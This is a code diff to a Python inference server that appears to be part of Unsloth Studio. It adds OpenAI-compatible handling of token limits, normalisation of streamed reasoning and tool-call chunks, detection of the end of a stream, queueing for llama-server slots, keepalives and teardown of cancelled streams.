+    if raw_value is None or not raw_value.strip():
+        return default
+    try:
+        value = float(raw_value.strip())
+    except ValueError:
+        return default
+    return value if value > 0 else None
+
+
+def _effective_openai_max_tokens_from_values(max_tokens, max_completion_tokens = None):
+    """Resolve the OpenAI-compatible generation cap from raw request values.
+
+    Prefers ``max_completion_tokens`` over the deprecated ``max_tokens``, and
+    returns ``None`` when both are omitted so callers keep their context-window
+    default (OpenAI treats an omitted cap as bounded only by the context
+    window). Explicit client caps pass through unchanged.
+    """
+
+    def _validate_explicit(value, param: str):
+        if value is None:
+            return None
+        if isinstance(value, bool) or not isinstance(value, int):
+            raise HTTPException(
+                status_code = 400,
+                detail = openai_error_body(
+                    f"'{param}' must be an integer.",
+                    status = 400,
+                    code = "invalid_type",
+                    param = param,
+                ),
+            )
+        # The legacy completions spec declares ``minimum: 0`` for max_tokens,
+        # so 0 is a valid (if degenerate) cap and only negatives are rejected.
+        # The chat fields never reach here with 0 (pydantic enforces ge=1).
+        if value < 0:
+            raise HTTPException(
+                status_code = 400,
+                detail = openai_error_body(
+                    f"'{param}' must be at least 0.",
+                    status = 400,
+                    code = "invalid_value",
+                    param = param,
+                ),
+            )
+        return value
+
+    max_tokens = _validate_explicit(max_tokens, "max_tokens")
+    max_completion_tokens = _validate_explicit(max_completion_tokens, "max_completion_tokens")
+    return max_completion_tokens if max_completion_tokens is not None else max_tokens
+
+
+def _effective_openai_max_tokens(payload):
+    return _effective_openai_max_tokens_from_values(
+        getattr(payload, "max_tokens", None),
+        getattr(payload, "max_completion_tokens", None),
+    )
+
+
 def _wants_multiple_choices(payload) -> bool:
     return (payload.n or 1) > 1
 
 
+def _has_openai_tool_history(messages) -> bool:
+    for message in messages or []:
+        if isinstance(message, dict):
+            if message.get("role") == "tool" or message.get("tool_calls"):
+                return True
+            continue
+        if getattr(message, "role", None) == "tool" or getattr(message, "tool_calls", None):
+            return True
+    return False
+
+
 def _raise_unsupported_openai_parameter(param: str, message: str) -> None:
     raise HTTPException(
         status_code = 400,
@@ -294,6 +430,14 @@ def _openai_stream_error_chunk(exc) -> dict:
     return openai_error_body(_friendly_error(exc), status = 500)
 
 
+def _openai_stream_error_sse(error: dict) -> str:
+    return f"data: {json.dumps(error)}\n\ndata: [DONE]\n\n"
+
+
+def _openai_stream_error_sse_bytes(error: dict) -> bytes:
+    return _openai_stream_error_sse(error).encode("utf-8")
+
+
 def _openai_passthrough_error(status_code, text) -> "HTTPException":
     """HTTPException for a non-200 upstream response on the OpenAI passthrough
     (tools / response_format). An over-context upstream error is mapped to a 400
@@ -508,20 +652,62 @@ def _drop_parallel_tool_call_deltas(chunk) -> bool:
     return changed
 
 
-def _cap_parallel_tool_calls_sse_line(raw_line: str) -> str:
-    """Drop tool_call deltas whose index >= 1 from one streamed OpenAI SSE
-    ``data:`` line so only the first tool call survives (parallel_tool_calls=false,
-    best-effort). Non-tool / unparseable payloads are returned byte-for-byte."""
-    payload = raw_line[len("data: ") :]
+def _add_empty_content_to_reasoning_deltas(chunk: dict) -> bool:
+    """Make reasoning-only deltas palatable to strict OpenAI adapters.
+
+    Some clients built on OpenAI-compatible streams ignore or reject chunks whose
+    delta only contains non-standard ``reasoning_content``. Preserve that field,
+    but add an empty standard ``content`` member so the chunk is still a valid
+    text-delta shape and downstream parsers keep the stream alive.
+    """
+    changed = False
+    choices = chunk.get("choices")
+    if not isinstance(choices, list):
+        return False
+    for choice in choices:
+        if not isinstance(choice, dict):
+            continue
+        delta = choice.get("delta")
+        if not isinstance(delta, dict):
+            continue
+        if "reasoning_content" in delta and "content" not in delta:
+            delta["content"] = ""
+            changed = True
+    return changed
+
+
+def _normalize_openai_passthrough_sse_line(
+    raw_line: str, *, cap_parallel_tool_calls: bool = False
+) -> str:
+    """Normalize one passthrough OpenAI SSE ``data:`` line before relaying.
+
+    The function is intentionally narrow: it leaves comments, blank events,
+    ``[DONE]``, and unparseable upstream bytes untouched; parsed chunks are
+    re-serialized only when a compatibility mutation is actually required.
+    """
+    if not raw_line.startswith("data:"):
+        return raw_line
+    # Both mutations key off JSON object keys, so a line without either quoted
+    # key can never change; skip the parse on the per-token common case.
+    if '"reasoning_content"' not in raw_line and not (
+        cap_parallel_tool_calls and '"tool_calls"' in raw_line
+    ):
+        return raw_line
+    payload = raw_line[len("data:") :].lstrip()
     if payload.strip() in ("", "[DONE]"):
         return raw_line
     try:
         obj = json.loads(payload)
     except Exception:
         return raw_line
-    if not _drop_parallel_tool_call_deltas(obj):
+    if not isinstance(obj, dict):
         return raw_line
-    return "data: " + json.dumps(obj, separators = (",", ":"))
+    changed = _add_empty_content_to_reasoning_deltas(obj)
+    if cap_parallel_tool_calls and _drop_parallel_tool_call_deltas(obj):
+        changed = True
+    if not changed:
+        return raw_line
+    return "data: " + json.dumps(obj, separators = (",", ":"), ensure_ascii = False)
 
 
 def _prompt_tokens_details(upstream):
@@ -538,6 +724,49 @@ def _wants_stream_usage(payload) -> bool:
     return bool((payload.stream_options or {}).get("include_usage"))
 
 
+_OPENAI_PASSTHROUGH_TERMINAL_GRACE_S = 2.0
+_SSE_DONE_LINE = "data: [DONE]"
+
+
+def _openai_passthrough_sse_line_terminal_state(raw_line: str) -> Optional[str]:
+    """Classify OpenAI-compatible chat stream terminal markers.
+
+    Some llama-server builds can emit the logical final chunk (``finish_reason``)
+    and optional usage chunk, then keep the HTTP stream open without sending the
+    OpenAI ``data: [DONE]`` sentinel. Classifying those chunks lets Unsloth close
+    the client stream promptly while preserving an optional trailing usage chunk.
+    """
+    if not raw_line.startswith("data:"):
+        return None
+    data_str = raw_line[5:].lstrip()
+    if data_str == "[DONE]":
+        return "done"
+    try:
+        data = json.loads(data_str)
+    except json.JSONDecodeError:
+        return None
+    return _openai_passthrough_terminal_state_from_data(data)
+
+
+def _openai_passthrough_terminal_state_from_data(data) -> Optional[str]:
+    """Dict-level core of ``_openai_passthrough_sse_line_terminal_state`` for
+    callers that already parsed the chunk (avoids a re-parse per relayed line)."""
+    if not isinstance(data, dict):
+        return None
+    if _monitor_openai_error_message(data):
+        return "error"
+    choices = data.get("choices")
+    if isinstance(choices, list):
+        if not choices and isinstance(data.get("usage"), dict):
+            return "usage"
+        for choice in choices:
+            if isinstance(choice, dict) and choice.get("finish_reason") is not None:
+                return "finish"
+    elif isinstance(data.get("usage"), dict):
+        return "usage"
+    return None
+
+
 def _openai_stream_usage_chunk(
     payload, completion_id, created, model_name, stream_usage, stream_timings
 ):
@@ -603,6 +832,21 @@ def _chat_content_chunk(completion_id, created, model_name, text) -> str:
     )
 
 
+def _chat_reasoning_chunk(completion_id, created, model_name, text) -> str:
+    """Like ``_chat_content_chunk`` but on ``reasoning_content`` (renders the UI thinking block).
+
+    Carries ``content: ""`` alongside, like the GGUF and passthrough paths, so
+    strict OpenAI adapters don't drop the reasoning-only delta.
+    """
+    return _chat_chunk_sse(
+        completion_id,
+        created,
+        model_name,
+        delta = ChoiceDelta(content = "", reasoning_content = text),
+        finish_reason = None,
+    )
+
+
 def _chat_final_chunk(completion_id, created, model_name, finish_reason) -> str:
     """Terminal stop chunk (empty delta) carrying the finish reason."""
     return _chat_chunk_sse(
@@ -614,6 +858,66 @@ def _chat_final_chunk(completion_id, created, model_name, finish_reason) -> str:
     )
 
 
+def _chat_tool_calls_chunk(completion_id, created, model_name, tool_calls) -> str:
+    """Delta chunk carrying OpenAI tool-call deltas (sibling of ``_chat_content_chunk``)."""
+    return _chat_chunk_sse(
+        completion_id,
+        created,
+        model_name,
+        delta = ChoiceDelta(tool_calls = tool_calls),
+        finish_reason = None,
+    )
+
+
+def _sf_heal_events_to_sse(
+    events,
+    completion_id,
+    created,
+    model_name,
+    state,
+    parallel_tool_calls,
+    monitor_id = None,
+):
+    """Serialize ``StreamToolCallHealer`` events into chat SSE lines.
+
+    ``state["idx"]`` tracks the call index across ``feed``/``finalize``;
+    ``parallel_tool_calls is False`` caps promotion to one call (GGUF parity).
+    The monitor is fed from the same events the client receives, never the
+    healed-away markup."""
+    lines = []
+    for kind, value in events:
+        if kind == "text":
+            if value:
+                lines.append(_chat_content_chunk(completion_id, created, model_name, value))
+                api_monitor.append_reply(monitor_id, value)
+            continue
+        if parallel_tool_calls is False and state["idx"] >= 1:
+            continue
+        lines.append(
+            _chat_tool_calls_chunk(
+                completion_id,
+                created,
+                model_name,
+                [
+                    {
+                        "index": state["idx"],
+                        "id": value["id"],
+                        "type": "function",
+                        "function": value["function"],
+                    }
+                ],
+            )
+        )
+        _fn = value.get("function") or {}
+        api_monitor.append_reply(
+            monitor_id,
+            ("[tool_calls] " if state["idx"] == 0 else "; ")
+            + f"{_fn.get('name', '')}({_fn.get('arguments', '')})",
+        )
+        state["idx"] += 1
+    return lines
+
+
 def _rewrite_cmpl_id(raw: bytes) -> bytes:
     """Rewrite llama-server's chat-style ``chatcmpl-`` ids to the ``cmpl-``
     prefix OpenAI's legacy /v1/completions use. Anchored on the ``"id":`` key
@@ -706,6 +1010,7 @@ try:
     from core.inference.llama_server_args import (
         _effective_tensor_parallel,
         _tensor_parallel_matches_loaded,
+        extra_args_disable_mmproj,
         parse_split_mode_override,
         resolve_tensor_parallel,
         strip_shadowing_flags,
@@ -743,6 +1048,7 @@ except ImportError:
     from core.inference.llama_server_args import (
         _effective_tensor_parallel,
         _tensor_parallel_matches_loaded,
+        extra_args_disable_mmproj,
         parse_split_mode_override,
         resolve_tensor_parallel,
         strip_shadowing_flags,
@@ -773,8 +1079,11 @@ def _llama_streaming_generation_timeout() -> httpx.Timeout:
 
 
 def _set_stream_response_read_timeout(
-    response: httpx.Response, read_timeout_s: float = _DEFAULT_STREAM_STALL_TIMEOUT_S
+    response: httpx.Response, read_timeout_s: Optional[float] = _DEFAULT_STREAM_STALL_TIMEOUT_S
 ) -> None:
+    # ``read_timeout_s = None`` clears httpx's read timeout (wait indefinitely),
+    # used when the stall guard is disabled so a stale first-token deadline
+    # can't keep timing out post-first-chunk gaps.
     try:
         timeout_ext = response.request.extensions.get("timeout")
         if isinstance(timeout_ext, dict):
@@ -785,6 +1094,299 @@ def _set_stream_response_read_timeout(
 
 _STREAM_DISCONNECT_POLL_TIMEOUT_S = 0.25
 _OPENAI_PASSTHROUGH_PREHEADER_STATUS_WINDOW_S = 0.1
+_OPENAI_PASSTHROUGH_PENDING_RESPONSE_KEEPALIVE_S = 5.0
+_OPENAI_PASSTHROUGH_SSE_KEEPALIVE = ": keep-alive\n\n"
+_OPENAI_LLAMA_ADMISSION_POLL_S = 0.25
+# Idle window before a local tool-loop stream emits an SSE keepalive comment
+# (e.g. prompt prefill between tool iterations). A second layer atop the
+# tool_stream_exec heartbeats, keeping proxies (Cloudflare drops idle at ~100s).
+_LOCAL_TOOL_STREAM_STALL_KEEPALIVE_S = 15.0
+
+
+def _openai_llama_admission_capacity(request: Optional[Request], llama_backend = None) -> int:
+    """Serving slots available for one local llama-server backend.
+
+    The loaded backend is the source of truth because it may have reduced
+    ``--parallel`` at load time to keep the model on GPU. The app state is a
+    launch-intent fallback for tests and for the short window before a backend
+    reports its committed runtime slots.
+    """
+    slots = _positive_int_or_none(getattr(llama_backend, "effective_parallel_slots", None))
+    if slots is not None:
+        return slots
+    try:
+        slots = getattr(request.app.state, "llama_parallel_slots", None)
+    except Exception:
+        slots = None
+    return _positive_int_or_none(slots) or 1
+
+
+def _openai_llama_admission_reserve(
+    *, request: Optional[Request], llama_backend
+) -> tuple[LlamaAdmissionReservation, LlamaAdmissionConfig]:
+    config = llama_admission_config_from_env()
+    capacity = _openai_llama_admission_capacity(request, llama_backend)
+    key = str(getattr(llama_backend, "base_url", "llama-server"))
+    reservation = get_llama_admission_queue(key).reserve(
+        capacity = capacity,
+        config = config,
+    )
+    return reservation, config
+
+
+def _openai_admission_request_path(request: Optional[Request]) -> Optional[str]:
+    try:
+        return str(request.url.path) if request is not None else None
+    except Exception:
+        return None
+
+
+def _openai_admission_log(
+    event: str,
+    reservation: Optional[LlamaAdmissionReservation] = None,
+    *,
+    snapshot = None,
+    request: Optional[Request],
+    mode: str,
+    wait_started_at: Optional[float] = None,
+    completion_id: Optional[str] = None,
+    level: str = "debug",
+) -> None:
+    if snapshot is None and reservation is not None:
+        snapshot = reservation.snapshot_now()
+    wait_ms = None
+    if wait_started_at is not None:
+        wait_ms = int(max(0.0, time.monotonic() - wait_started_at) * 1000)
+    log = getattr(logger, level, logger.debug)
+    log(
+        "openai admission %s: mode=%s path=%s completion_id=%s capacity=%s active=%s queued=%s wait_ms=%s",
+        event,
+        mode,
+        _openai_admission_request_path(request),
+        completion_id,
+        getattr(snapshot, "capacity", None),
+        getattr(snapshot, "active", None),
+        getattr(snapshot, "queued", None),
+        wait_ms,
+    )
+
+
+def _openai_admission_error_body(exc: Exception, *, status_code: int) -> dict:
+    snapshot = getattr(exc, "snapshot", None)
+    message = str(exc)
+    if snapshot is not None:
+        message = (
+            f"{message} "
+            f"(active={snapshot.active}, queued={snapshot.queued}, capacity={snapshot.capacity})"
+        )
+    return openai_error_body(message, status = status_code)
+
+
+def _openai_admission_http_exception(exc: Exception, *, status_code: int) -> HTTPException:
+    return HTTPException(
+        status_code = status_code,
+        detail = _openai_admission_error_body(exc, status_code = status_code),
+    )
+
+
+def _openai_admission_timeout_error(
+    reservation: LlamaAdmissionReservation,
+) -> LlamaAdmissionTimeout:
+    return LlamaAdmissionTimeout(
+        "Timed out waiting for an available local llama-server generation slot",
+        snapshot = reservation.snapshot_now(),
+    )
+
+
+def _openai_admission_cancelled_error(
+    reservation: LlamaAdmissionReservation,
+) -> LlamaAdmissionCancelled:
+    return LlamaAdmissionCancelled(
+        "Client disconnected before an upstream llama-server generation slot was available",
+        snapshot = reservation.snapshot_now(),
+    )
+
+
+async def _raise_if_openai_admission_cancelled(
+    reservation: LlamaAdmissionReservation, *, request: Optional[Request], cancel_event
+) -> None:
+    if reservation.is_cancelled:
+        raise _openai_admission_cancelled_error(reservation)
+    if await _preheader_cancelled(cancel_event, request):
+        reservation.cancel()
+        raise _openai_admission_cancelled_error(reservation)
+
+
+async def _wait_for_openai_admission_non_streaming(
+    reservation: LlamaAdmissionReservation,
+    config: LlamaAdmissionConfig,
+    *,
+    request: Optional[Request],
+    cancel_event,
+) -> LlamaAdmissionLease:
+    lease = reservation.lease_nowait()
+    if lease is not None:
+        try:
+            await _raise_if_openai_admission_cancelled(
+                reservation,
+                request = request,
+                cancel_event = cancel_event,
+            )
+        except asyncio.CancelledError:
+            lease.release()
+            raise
+        except LlamaAdmissionCancelled:
+            lease.release()
+            raise
+        return lease
+    await _raise_if_openai_admission_cancelled(
+        reservation,
+        request = request,
+        cancel_event = cancel_event,
+    )
+    deadline = None if config.queue_timeout_s is None else time.monotonic() + config.queue_timeout_s
+    try:
+        while True:
+            await _raise_if_openai_admission_cancelled(
+                reservation,
+                request = request,
+                cancel_event = cancel_event,
+            )
+            lease = reservation.lease_nowait()
+            if lease is not None:
+                try:
+                    await _raise_if_openai_admission_cancelled(
+                        reservation,
+                        request = request,
+                        cancel_event = cancel_event,
+                    )
+                except asyncio.CancelledError:
+                    lease.release()
+                    raise
+                except LlamaAdmissionCancelled:
+                    lease.release()
+                    raise
+                return lease
+            wait_s = _OPENAI_LLAMA_ADMISSION_POLL_S
+            if deadline is not None:
+                remaining_s = deadline - time.monotonic()
+                if remaining_s <= 0:
+                    reservation.cancel()
+                    raise _openai_admission_timeout_error(reservation)
+                wait_s = min(wait_s, max(remaining_s, 0.001))
+            try:
+                lease = await reservation.wait(wait_s)
+            except asyncio.TimeoutError:
+                continue
+            if lease is not None:
+                return lease
+            await _raise_if_openai_admission_cancelled(
+                reservation,
+                request = request,
+                cancel_event = cancel_event,
+            )
+    except asyncio.CancelledError:
+        reservation.cancel()
+        raise
+
+
+async def _openai_admission_wait_stream_chunks(
+    reservation: LlamaAdmissionReservation,
+    config: LlamaAdmissionConfig,
+    *,
+    request: Optional[Request],
+    cancel_event,
+):
+    lease = reservation.lease_nowait()
+    if lease is not None:
+        yield lease
+        return
+
+    await _raise_if_openai_admission_cancelled(
+        reservation,
+        request = request,
+        cancel_event = cancel_event,
+    )
+    deadline = None if config.queue_timeout_s is None else time.monotonic() + config.queue_timeout_s
+    keepalive_interval_s = max(0.001, config.keepalive_interval_s)
+    next_keepalive_at = time.monotonic() + keepalive_interval_s
+    try:
+        while True:
+            await _raise_if_openai_admission_cancelled(
+                reservation,
+                request = request,
+                cancel_event = cancel_event,
+            )
+            lease = reservation.lease_nowait()
+            if lease is not None:
+                yield lease
+                return
+
+            now = time.monotonic()
+            wait_s = min(_OPENAI_LLAMA_ADMISSION_POLL_S, max(next_keepalive_at - now, 0.001))
+            if deadline is not None:
+                remaining_s = deadline - now
+                if remaining_s <= 0:
+                    reservation.cancel()
+                    raise _openai_admission_timeout_error(reservation)
+                wait_s = min(wait_s, max(remaining_s, 0.001))
+            try:
+                lease = await reservation.wait(wait_s)
+            except asyncio.TimeoutError:
+                lease = None
+            if lease is not None:
+                yield lease
+                return
+            await _raise_if_openai_admission_cancelled(
+                reservation,
+                request = request,
+                cancel_event = cancel_event,
+            )
+            now = time.monotonic()
+            if now >= next_keepalive_at:
+                next_keepalive_at = now + keepalive_interval_s
+                yield _OPENAI_PASSTHROUGH_SSE_KEEPALIVE
+    except asyncio.CancelledError:
+        reservation.cancel()
+        raise
+
+
+async def _close_openai_admitted_stream_iterator(iterator, *, cancelled: bool) -> None:
+    if iterator is None:
+        return
+    if cancelled:
+        athrow = getattr(iterator, "athrow", None)
+        if athrow is not None:
+            try:
+                await athrow(asyncio.CancelledError())
+            except (asyncio.CancelledError, StopAsyncIteration, RuntimeError):
+                return
+    aclose = getattr(iterator, "aclose", None)
+    if aclose is not None:
+        await aclose()
+
+
+def _openai_compat_stream_stall_timeout():
+    """Max silent gap after an OpenAI passthrough stream has produced data.
+
+    If the socket goes silent after valid SSE data, this bounds how long the
+    client is kept open. Defaults to the backend-wide stall timeout so this
+    path stalls out like every sibling stream; set the env var to tighten it
+    for local serving, or to 0 to disable the guard.
+    """
+    return _positive_float_env(
+        _OPENAI_COMPAT_STREAM_STALL_TIMEOUT_ENV,
+        _DEFAULT_STREAM_STALL_TIMEOUT_S,
+    )
+
+
+def _openai_passthrough_upstream_headers(*, llama_backend = None) -> dict:
+    headers = {}
+    auth_headers = getattr(llama_backend, "_auth_headers", None)
+    if isinstance(auth_headers, dict):
+        headers.update(auth_headers)
+    headers["Connection"] = "close"
+    return headers
 
 
 class _CompatSameTaskTimeout:
@@ -841,17 +1443,14 @@ class _SameTaskStreamingResponse(StreamingResponse):
         **kwargs,
     ) -> None:
         super().__init__(*args, **kwargs)
-        # Async callable invoked when the client disconnects before the body
-        # iterator is ever advanced. A generator that never started cannot run
-        # its own try/finally, so a stream that acquires resources before its
-        # first yield (the passthrough opens an upstream httpx stream eagerly)
-        # passes this to release them.
+        # Released when the client disconnects before the body iterator starts:
+        # its try/finally never runs, so a stream that opens resources before the
+        # first yield (the passthrough's upstream httpx stream) passes this.
         self._unstarted_cleanup = unstarted_cleanup
 
     async def __call__(self, scope, receive, send) -> None:
-        # Track whether the body iterator was ever advanced: send() only emits a
-        # body message after the generator yields its first chunk, so a failure
-        # before then means it never entered its try/finally.
+        # send() emits a body message only after the first chunk, so no body
+        # message means the generator never entered its try/finally.
         body_started = False
 
         async def _tracking_send(message) -> None:
@@ -862,15 +1461,11 @@ class _SameTaskStreamingResponse(StreamingResponse):
 
         try:
             await self.stream_response(_tracking_send)
-        except OSError:
-            # Client disconnected mid-send.
+        except OSError:  # client disconnected mid-send
             if body_started:
-                # The generator produced at least one chunk and is suspended in
-                # its try/finally. Throw CancelledError into it (not aclose's
-                # GeneratorExit) so its `except asyncio.CancelledError` handler
-                # runs and finishes any api_monitor entry; GeneratorExit would
-                # skip it and only run `finally`. Fall back to aclose() without
-                # athrow.
+                # Generator is suspended in its try/finally: throw CancelledError
+                # (not aclose's GeneratorExit) so its handler finishes the
+                # api_monitor entry. Fall back to aclose() without athrow.
                 athrow = getattr(self.body_iterator, "athrow", None)
                 if athrow is not None:
                     try:
@@ -882,16 +1477,16 @@ class _SameTaskStreamingResponse(StreamingResponse):
                     if aclose is not None:
                         await aclose()
             else:
-                # http.response.start failed before the body iterator advanced,
-                # so its try/finally never armed and aclose()/athrow() are no-ops
-                # on an unstarted generator. Release any resources acquired
-                # before the first yield via the explicit cleanup hook.
+                # Generator never started; aclose()/athrow() are no-ops on it, so
+                # release eager resources via the hook. getattr guards a response
+                # built through __new__ without __init__ (tests, pickling).
                 aclose = getattr(self.body_iterator, "aclose", None)
                 if aclose is not None:
                     await aclose()
-                if self._unstarted_cleanup is not None:
+                cleanup = getattr(self, "_unstarted_cleanup", None)
+                if cleanup is not None:
                     try:
-                        await self._unstarted_cleanup()
+                        await cleanup()
                     except Exception:
                         pass
             raise ClientDisconnect()
@@ -899,6 +1494,16 @@ class _SameTaskStreamingResponse(StreamingResponse):
             await self.background()
 
 
+def _tracked_cancel_unstarted_cleanup(tracker):
+    """unstarted_cleanup that exits ``tracker`` on a pre-start disconnect, when
+    the generator's finally (which normally exits it) never runs."""
+
+    async def _cleanup() -> None:
+        tracker.__exit__(None, None, None)
+
+    return _cleanup
+
+
 async def _aclose_stream_resources(
     *,
     watchers = (),
@@ -909,7 +1514,8 @@ async def _aclose_stream_resources(
     """Tear down an httpx streaming generator's resources in the required order:
     cancel + await each watcher task, then aclose() the byte/line iterator, the
     response, and the client. Each step swallows its own exceptions so teardown
-    always completes. See _anthropic_passthrough_stream for the ordering rationale."""
+    always completes; a close-time CancelledError is re-raised only after every
+    step has run. See _anthropic_passthrough_stream for the ordering rationale."""
     for watcher in watchers:
         if watcher is not None:
             watcher.cancel()
@@ -917,21 +1523,30 @@ async def _aclose_stream_resources(
                 await watcher
             except (asyncio.CancelledError, Exception):
                 pass
+    close_cancelled = False
     if iterator is not None:
         try:
             await iterator.aclose()
+        except asyncio.CancelledError:
+            close_cancelled = True
         except Exception:
             pass
     if resp is not None:
         try:
             await resp.aclose()
+        except asyncio.CancelledError:
+            close_cancelled = True
         except Exception:
             pass
     if client is not None:
         try:
             await client.aclose()
+        except asyncio.CancelledError:
+            close_cancelled = True
         except Exception:
             pass
+    if close_cancelled:
+        raise asyncio.CancelledError()
 
 
 async def _preheader_cancelled(cancel_event = None, request: Optional[Request] = None) -> bool:
@@ -954,6 +1569,7 @@ async def _send_stream_with_preheader_cancel(
     req: httpx.Request,
     cancel_event = None,
     request: Optional[Request] = None,
+    mark_cancel_on_cancel: bool = True,
 ) -> Optional[httpx.Response]:
     if cancel_event is None and request is None:
         return await client.send(req, stream = True)
@@ -985,7 +1601,7 @@ async def _send_stream_with_preheader_cancel(
         await _stop_send_task()
         return None
     except asyncio.CancelledError:
-        if cancel_event is not None:
+        if mark_cancel_on_cancel and cancel_event is not None:
             cancel_event.set()
         await _stop_send_task()
         raise
@@ -1004,11 +1620,19 @@ async def _aiter_llama_stream_items(
     request: Optional[Request] = None,
     first_token_deadline: Optional[float] = None,
     response: Optional[httpx.Response] = None,
-    post_first_item_read_timeout_s: Optional[float] = _DEFAULT_STREAM_STALL_TIMEOUT_S,
+    post_first_item_read_timeout_s: Optional[
+        Union[float, Callable[[], Optional[float]]]
+    ] = _DEFAULT_STREAM_STALL_TIMEOUT_S,
 ):
     if first_token_deadline is None:
         first_token_deadline = time.monotonic() + _DEFAULT_FIRST_TOKEN_TIMEOUT_S
     last_item_at: Optional[float] = None
+
+    def _post_first_timeout_s() -> Optional[float]:
+        if callable(post_first_item_read_timeout_s):
+            return post_first_item_read_timeout_s()
+        return post_first_item_read_timeout_s
+
     while True:
         if cancel_event is not None and cancel_event.is_set():
             return
@@ -1029,15 +1653,14 @@ async def _aiter_llama_stream_items(
                 async with _same_task_timeout(remaining_s):
                     item = await async_iter.__anext__()
             else:
+                timeout_s = _post_first_timeout_s()
                 if (
                     request is not None
                     and response is not None
-                    and post_first_item_read_timeout_s is not None
+                    and timeout_s is not None
                     and last_item_at is not None
                 ):
-                    stall_remaining_s = post_first_item_read_timeout_s - (
-                        time.monotonic() - last_item_at
-                    )
+                    stall_remaining_s = timeout_s - (time.monotonic() - last_item_at)
                     if stall_remaining_s <= 0:
                         raise httpx.ReadTimeout("The model stopped producing tokens mid-response.")
                     _set_stream_response_read_timeout(response, stall_remaining_s)
@@ -1054,19 +1677,16 @@ async def _aiter_llama_stream_items(
                 if now >= first_token_deadline:
                     raise
                 continue
-            if (
-                request is not None
-                and post_first_item_read_timeout_s is not None
-                and now - last_item_at < post_first_item_read_timeout_s
-            ):
+            timeout_s = _post_first_timeout_s()
+            if request is not None and timeout_s is not None and now - last_item_at < timeout_s:
                 continue
             raise httpx.ReadTimeout("The model stopped producing tokens mid-response.")
-        if (
-            last_item_at is None
-            and response is not None
-            and post_first_item_read_timeout_s is not None
-        ):
-            _set_stream_response_read_timeout(response, post_first_item_read_timeout_s)
+        if last_item_at is None and response is not None:
+            # The first-token read deadline no longer applies once a chunk has
+            # arrived: switch to the stall timeout, or clear the read timeout
+            # entirely when the stall guard is disabled (callable returns None)
+            # so a long gap can't trip the stale first-token deadline.
+            _set_stream_response_read_timeout(response, _post_first_timeout_s())
         last_item_at = time.monotonic()
         yield item
 
@@ -1074,6 +1694,8 @@ async def _aiter_llama_stream_items(
 from models.inference import (
     LoadRequest,
     UnloadRequest,
+    TranscribeRequest,
+    SttLoadRequest,
     GenerateRequest,
     LoadResponse,
     LoadProgressResponse,
@@ -1091,6 +1713,9 @@ from models.inference import (
     CompletionUsage,
     ValidateModelRequest,
     ValidateModelResponse,
+    TransformersUpgradeInfo,
+    InstallLatestTransformersRequest,
+    InstallLatestTransformersResponse,
     TextContentPart,
     ImageContentPart,
     ImageUrl,
@@ -1136,6 +1761,13 @@ from core.inference.key_exchange import decrypt_api_key
 from core.inference.model_ids import public_model_id
 from core.inference.api_monitor import api_monitor
 from core.inference.llama_http import nonstreaming_client
+from core.inference.tool_call_parser import (
+    _strip_function_xml_calls,
+    _strip_gemma_wrapperless_calls,
+    _strip_glm_calls,
+    _strip_mistral_closed_calls,
+)
+from core.inference.tool_call_parser import TOOL_XML_SIGNALS as _PARSER_TOOL_SIGNALS
 from core.inference.passthrough_healing import (
     StreamToolCallHealer,
     heal_gate,
@@ -1150,7 +1782,7 @@ from core.inference.providers import get_base_url
 from core.inference.external_provider import ExternalProviderClient
 from core.inference.chat_templates import resolve_effective_chat_template_override
 from storage import providers_db
-from utils.utils import safe_error_detail, log_and_http_error
+from utils.utils import is_hf_authentication_error, safe_error_detail, log_and_http_error
 
 import io
 import base64
@@ -1158,7 +1790,7 @@ import numpy as np
 from datetime import date as _date
 
 router = APIRouter()
-# Studio-only router (not mounted on /v1 OpenAI-compat).
+# Unsloth-only router (not mounted on /v1 OpenAI-compat).
 studio_router = APIRouter()
 
 
@@ -1294,27 +1926,78 @@ async def artifact_preview_frame(allow_network: bool = False):
     )
 
 
-def _detect_safetensors_features(backend, chat_template: Optional[str]) -> dict:
+# Whitespace/escape-tolerant bare-JSON tool-template detector (matches pretty-printed and
+# JSON-escaped ``{"name":`` plus the ``"function"`` alias), mirroring the parser's tolerance.
+_BARE_JSON_NAME_MARKER_RE = _re.compile(r'\{\s*\\?"(?:name|function)\\?"\s*:')
+
+
+def _detect_safetensors_features(
+    backend,
+    chat_template: Optional[str],
+    tools = None,
+) -> dict:
     """Classify reasoning/tool capabilities via the GGUF classifier so flags
     match across backends. gpt-oss is overridden: Harmony routes reasoning and
     tools through tokenizer channels, not template markup."""
     model_id = getattr(backend, "active_model_name", None)
+    feature_template = chat_template
+    try:
+        from core.inference.chat_template_helpers import _selected_template_strings_from_value
+        selected_templates = _selected_template_strings_from_value(chat_template, tools)
+        if selected_templates:
+            feature_template = selected_templates[0]
+    except Exception:
+        logger.debug("safetensors_named_template_selection_failed", exc_info = True)
     flags = detect_reasoning_flags(
-        chat_template,
+        feature_template,
         model_identifier = model_id,
         log_source = "safetensors",
     )
-    # Our safetensors loop only parses <tool_call>{json}</tool_call>,
-    # <function=name>...</function>, and Gemma native <|tool_call>...<tool_call|>.
-    # Llama uses <|python_tag|>, Mistral uses [TOOL_CALLS]; advertising tools for
-    # those enables a pill the parser can't honour. GGUF is unaffected --
-    # llama-server normalises every format into structured deltas.
+    if not flags.get("supports_reasoning"):
+        try:
+            from core.inference.chat_template_helpers import (
+                detect_reasoning_channel_markers_from_template,
+            )
+
+            templates = [chat_template]
+            models = getattr(backend, "models", None)
+            model_info = (
+                models.get(model_id, {})
+                if isinstance(models, dict) and model_id is not None
+                else {}
+            )
+            if isinstance(model_info, dict):
+                templates.extend(
+                    (
+                        model_info.get("native_chat_template"),
+                        (model_info.get("chat_template_info") or {}).get("template"),
+                    )
+                )
+            if any(
+                detect_reasoning_channel_markers_from_template(template, tools = tools) is not None
+                for template in templates
+            ):
+                flags["supports_reasoning"] = True
+                flags["reasoning_always_on"] = True
+                logger.info("safetensors: model always reasons (native channel markers)")
+        except Exception:
+            logger.debug("safetensors_native_reasoning_marker_check_failed", exc_info = True)
+    # Markers any supported parser recognises (template advertises tools but
+    # uses none -> drop the pill). Reuse the parser's own signal list so this
+    # gate never drifts (a hand-maintained copy lost the DeepSeek variants);
+    # ``<arg_key>`` is GLM's unique signal, absent from the shared set. The
+    # bare-JSON ``{"name":`` form is matched below with the whitespace/escape-
+    # tolerant ``_BARE_JSON_NAME_MARKER_RE`` so pretty-printed or escaped
+    # templates are not mis-classified as tool-less.
+    _PARSER_MARKERS = (
+        *_PARSER_TOOL_SIGNALS,
+        "<arg_key>",
+    )
     if (
         flags.get("supports_tools")
-        and chat_template
-        and "<tool_call>" not in chat_template
-        and "<function=" not in chat_template
